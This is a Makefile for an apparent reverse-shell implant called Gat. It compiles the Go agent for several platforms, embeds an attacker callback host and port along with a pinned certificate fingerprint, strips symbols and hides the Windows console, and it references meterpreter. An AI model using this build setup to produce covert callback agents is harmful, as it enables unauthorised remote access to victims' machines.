github.com/m1ddl3w4r3/Gat@v0.0.0-20221205171512-b6bb6e613409/Makefile (about)

     1  BUILD=go build
     2  OUT_LINUX=Gat
     3  OUT_WINDOWS=Gat.exe
     4  SRC=Gat.go
     5  SRV_KEY=server.key
     6  SRV_PEM=server.pem
     7  LINUX_LDFLAGS=--ldflags "-s -w -X main.connectString=${LHOST}:${LPORT} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
     8  WIN_LDFLAGS=--ldflags "-s -w -X main.connectString=${LHOST}:${LPORT} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2) -H=windowsgui"
     9  
    10  all: clean depends shell
    11  
    12  depends:
    13  	openssl req -subj '/CN=acme.com/O=ACME/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout ${SRV_KEY} -out ${SRV_PEM}
    14  	cat ${SRV_KEY} >> ${SRV_PEM}
    15  
    16  shell:
    17  	GOOS=${GOOS} GOARCH=${GOARCH} ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC}
    18  
    19  linux32:
    20  	GOOS=linux GOARCH=386 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC}
    21  
    22  linux64:
    23  	GOOS=linux GOARCH=amd64 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC}
    24  
    25  windows32:
    26  	GOOS=windows GOARCH=386 ${BUILD} ${WIN_LDFLAGS} -o ${OUT_WINDOWS} ${SRC}
    27  
    28  windows64:
    29  	GOOS=windows GOARCH=amd64 ${BUILD} ${WIN_LDFLAGS} -o ${OUT_WINDOWS} ${SRC}
    30  
    31  macos32:
    32  	GOOS=darwin GOARCH=386 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC}
    33  
    34  macos64:
    35  	GOOS=darwin GOARCH=amd64 ${BUILD} ${LINUX_LDFLAGS} -o ${OUT_LINUX} ${SRC}
    36  
    37  clean:
    38  	rm -rf ${SRV_KEY} ${SRV_PEM} Agents/ meterpreter/Gat.rc